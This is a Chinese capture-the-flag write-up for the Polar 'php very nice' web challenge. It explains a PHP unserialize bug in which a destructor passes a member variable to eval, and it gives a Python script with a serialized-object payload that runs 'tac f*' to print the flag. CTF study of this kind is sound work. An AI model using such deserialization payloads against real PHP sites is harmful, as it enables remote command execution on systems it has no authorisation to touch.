Polar Web【简单】php very nice

Contents

  • Polar Web【简单】php very nice
    • 思路
    • EXP
    • 运行&总结

思路

打开网页源代码,由下图的代码,可见本题涉及到反序列化以及变量覆盖。
因此考虑传递GET参数a来构造序列字符串。

Polar Web【简单】php very nice插图

  • 由上图中的代码,在Example类中定义了一个public成员变量,并在魔术函数__destruct中调用了敏感函数 eval
  • 此外,出现了反序列化函数 unserialize 的调用,传入 GET 参数 a
  • 综合上述情况,考虑通过构造参数Payload来覆盖成员变量的值,触发命令执行,获取flag

EXP

import requests


def attack(url, payload):
    url += payload
    res = (requests.get(url).content.decode('utf8'))
    print(res[res.rindex('flag'):res.rindex(';') - 1])


if __name__ == '__main__':
    site = 'http://~.www.polarctf.com:8090/'
    # 构造需要反序列化的字符串 —— 旨在覆盖变量值 -> 指令
    pl = '?a=O:7:"Example":1:{s:3:"sys";s:17:"system(\'tac f*\');";}'
    attack(site, pl)

运行&总结

Polar Web【简单】php very nice插图(1)

  • 本题考查重点是构造反序列化用的序列字符串,以达到变量覆盖,触发命令执行的目的。

敬,不完美的明天

本站无任何商业行为
个人在线分享 » Polar Web【简单】php very nice
E-->